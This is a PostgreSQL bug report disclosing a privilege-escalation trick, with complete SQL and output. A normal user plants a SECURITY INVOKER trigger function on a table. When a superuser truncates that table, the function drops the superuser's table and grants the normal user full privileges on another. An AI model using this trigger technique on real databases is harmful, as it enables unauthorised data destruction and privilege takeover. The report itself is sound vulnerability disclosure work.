The following bug has been logged on the website:
Bug reference: 13651
Logged by: digoal
Email address: digoal@126.com
PostgreSQL version: 9.4.4
Operating system: CentOS 6.x x64
Description:
In my database, there have two role, one normal user, one superuser.
postgres=# \dt
List of relations
Schema | Name | Type | Owner
--------+------------------+-------+----------
public | customer_reviews | table | postgres
public | t | table | digoal
public | t1 | table | postgres
public | t2 | table | postgres
public | t3 | table | postgres
I can use normal user create a table , and then create a trigger , in
trigger
I drop superuser's table and grant all privilege to normal user.
postgres=# \c postgres digoal
You are now connected to database "postgres" as user "digoal".
postgres=> create table temp_table (id int);
CREATE TABLE
postgres=> create or replace function tg1() returns trigger as $$
declare
begin
drop table t1 cascade;
grant all on table t2 to digoal;
return null;
end;
$$ language plpgsql security invoker;
CREATE FUNCTION
postgres=> create trigger tg2 before truncate on temp_table for each
statement execute procedure tg1();
CREATE TRIGGER
when a superuser truncate the temp table,
the trigger will execute,and drop superuser's table t1, and grant t2.
postgres=> \c postgres postgres
You are now connected to database "postgres" as user "postgres".
postgres=# truncate temp_table ;
NOTICE: 00000: drop cascades to rule r1 on table t
CONTEXT: SQL statement "drop table t1 cascade"
PL/pgSQL function tg1() line 4 at SQL statement
LOCATION: reportDependentObjects, dependency.c:996
TRUNCATE TABLE
postgres=# \dp+ t2
Access privileges
Schema | Name | Type | Access privileges | Column access
privileges
--------+------+-------+---------------------------+--------------------------
public | t2 | table | postgres=arwdDxt/postgres+|
| | | digoal=arwdDxt/postgres |
(1 row)
And rule is security.
postgres=# \c postgres digoal
You are now connected to database "postgres" as user "digoal".
postgres=> create rule r1 as on delete to t do instead delete from t1;
CREATE RULE
postgres=> delete from t;
ERROR: permission denied for relation t1
postgres=> \c postgres postgres
You are now connected to database "postgres" as user "postgres".
postgres=# \set VERBOSITY verbose
postgres=# delete from t;
ERROR: 42501: permission denied for relation t1
LOCATION: aclcheck_error, aclchk.c:3371
